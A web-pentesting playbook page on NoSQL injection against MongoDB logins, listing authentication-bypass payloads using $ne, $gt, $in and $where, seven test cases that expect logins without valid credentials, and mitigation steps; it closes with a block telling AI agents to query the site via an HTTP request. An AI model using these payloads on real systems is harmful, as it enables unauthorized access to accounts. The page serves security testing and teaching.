# NoSQL Injection

### Description

NoSQL Injection is a type of attack that exploits vulnerabilities in NoSQL databases to inject malicious queries. This can lead to unauthorized data access, data modification, or even denial of service. Unlike SQL, NoSQL databases use various formats (e.g., JSON, BSON) and query languages, making injection techniques diverse.

### Example with Scenario

Consider a web application that uses MongoDB to store user data. The application allows users to log in by querying the database with their username and password. If the input is not properly sanitized, an attacker can inject malicious NoSQL queries.

**Scenario:** A login form where a user inputs a username and password:

* Input fields: `username`, `password`
* NoSQL query (MongoDB): `db.users.find({ "username": username, "password": password })`

### Payloads and Test Cases

#### Payloads

1. Bypass Authentication (MongoDB):
   * `username: {"$ne": null}`
   * `password: {"$ne": null}`
   * This payload attempts to bypass authentication by using the `$ne` (not equal) operator.
2. OR Condition Injection:
   * `username: admin`
   * `password: {"$ne": null}`
   * This payload attempts to log in as the admin user by injecting an OR condition.
3. Boolean-based Injection:
   * `username: admin`
   * `password: {"$gt": ""}`
   * This payload attempts to authenticate by checking if the password is greater than an empty string.
4. Exploit Array Operator:
   * `username: admin`
   * `password: {"$in": [""]}`
   * This payload attempts to authenticate by checking if the password is in a specified array.
5. JavaScript Injection (MongoDB):
   * `username: admin`
   * `password: {"$where": "this.password.length > 0"}`
   * This payload uses the `$where` operator to execute JavaScript code.

#### Test Cases

1. **Test Case 1: Bypass with $ne Operator**
   * Input:

     ```json
     {
       "username": {"$ne": null},
       "password": {"$ne": null}
     }
     ```
   * Expected Result: Successful login without valid credentials.
2. **Test Case 2: OR Condition Injection**
   * Input:

     ```json
     {
       "username": "admin",
       "password": {"$ne": null}
     }
     ```
   * Expected Result: Login as admin user without knowing the actual password.
3. **Test Case 3: Boolean-based Injection**
   * Input:

     ```json
     {
       "username": "admin",
       "password": {"$gt": ""}
     }
     ```
   * Expected Result: Login as admin user without knowing the actual password.
4. **Test Case 4: Exploit Array Operator**
   * Input:

     ```json
     {
       "username": "admin",
       "password": {"$in": [""]}
     }
     ```
   * Expected Result: Login as admin user without knowing the actual password.
5. **Test Case 5: JavaScript Injection with $where**
   * Input:

     ```json
     {
       "username": "admin",
       "password": {"$where": "this.password.length > 0"}
     }
     ```
   * Expected Result: Successful login using a condition evaluated in JavaScript.
6. **Test Case 6: Empty Field Injection**
   * Input:

     ```json
     {
       "username": "",
       "password": {"$gt": ""}
     }
     ```
   * Expected Result: Successful login with any password.
7. **Test Case 7: Combination Injection**
   * Input:

     ```json
     {
       "username": {"$ne": null},
       "password": {"$in": ["", "password123"]}
     }
     ```
   * Expected Result: Successful login without valid credentials.

### Mitigation

1. **Input Validation and Sanitization:**
   * Validate and sanitize user inputs to ensure only expected data types and values are accepted.
   * Use allowlists to restrict input to safe values.
2. **Parameterized Queries:**
   * Use parameterized queries or prepared statements to prevent injection.
3. **Escape User Inputs:**
   * Properly escape all user inputs before including them in NoSQL queries.
4. **Access Controls:**
   * Implement strict access controls and ensure the database account used by the application has the minimum necessary privileges.
5. **Security Testing:**
   * Regularly perform security testing, including automated scans and manual penetration tests, to identify and fix potential NoSQL injection vulnerabilities.
6. **Logging and Monitoring:**
   * Implement logging and monitoring mechanisms to detect and respond to suspicious activities related to NoSQL queries.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://playbook.sidthoviti.com/web-app-pentesting/nosql-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
